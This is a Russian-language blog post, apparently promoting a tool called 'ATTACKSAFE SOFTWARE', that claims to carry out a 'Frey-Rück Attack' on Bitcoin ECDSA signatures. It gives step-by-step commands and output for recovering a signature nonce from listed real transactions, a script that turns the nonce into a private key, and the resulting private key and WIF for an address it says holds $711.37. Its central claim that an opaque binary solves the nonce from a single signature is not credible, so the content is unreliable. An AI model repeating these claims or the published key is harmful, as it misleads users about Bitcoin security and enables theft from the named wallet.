В этой статье мы реализуем эффективный алгоритм Frey-Rück Attack для подписи ECDSA в транзакции блокчейна Биткоина. В наших более ранних публикациях мы несколько раз затрагивали тему уязвимости подписи ECDSA. При критической уязвимости транзакции блокчейна Биткоина мы можем решить довольно сложную задачу дискретного логарифмирования для извлечение из уязвимой подписи ECDSA секретный ключ "K" (NONCE), чтобы в конечном итоге восстановить Биткоин Кошелек, так как зная секретный ключ мы можем получить приватный ключ.
Для этого существуют несколько алгоритмов из списка популярных атак на Биткоин, один из которых “Frey-Rück Attack on Bitcoin”.
www.attacksafe.ru/frey-ruck-attack-on-bitcoinМы не будем погружаться в теоретические аспекты данной атаки перейдем сразу к экспериментальной части
Из нашей практики нам известно что в блокчейне Биткоина очень много уязвимых и слабых транзакции и в процессе нашего криптоанализа мы нашли множество Биткоин Адресов, где большое количество подписи ECDSA были совершены с раскрытием секретного ключа "K" (NONCE).
Рассмотрим пять Биткоин Адресов:
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
Каждый Биткоин Адрес совершил по две критический уязвимые транзакции:
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
https://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72
https://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128
1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
https://btc.exan.tech/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb
https://btc.exan.tech/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393
16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
https://btc.exan.tech/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4
https://btc.exan.tech/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6
12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
https://btc.exan.tech/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542
https://btc.exan.tech/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af
19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
https://btc.exan.tech/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db
https://btc.exan.tech/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea
Раскрытие секретного ключа “K” (NONCE) в блокчейне Биткоина
Откроем [TerminalGoogleColab].
Реализуем эффективный алгоритм Frey-Rück Attack с помощью нашей репозитории 14FreyRuckAttack
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/14FreyRuckAttack/
ls
Установим все нужные нам пакеты
requirements.txtwget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip2 install -r requirements.txt
Подготовим RawTX для атаки
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
https://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72
RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”
www.attacksafe.ru/softwareПрава доступа:
chmod +x attacksafe
Применение:
./attacksafe -help
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode./attacksafe -version
"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
./attacksafe -list
далее выберем -tool: frey_ruck_attack
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
Сделаем проверку с помощью Python-скрипта point2gen.py
Для этого установим библиотеку эллиптических кривых ECPy:
pip3 install ECPy
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
point2gen = (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)
ВСЕ ВЕРНО!
K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
Откроем bitaddress и проверим:
ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Приватный ключ найден!
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgGBALANCE: $ 711.37
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128 для этого же Биткоин Адреса
Подготовим RawTX для атаки
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
https://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4deЧтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4deR = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
point2gen = (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)
ВСЕ ВЕРНО!
K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
Откроем bitaddress и проверим:
ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Приватный ключ найден!
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgGBALANCE: $ 711.37
Комментариев нет:
Отправить комментарий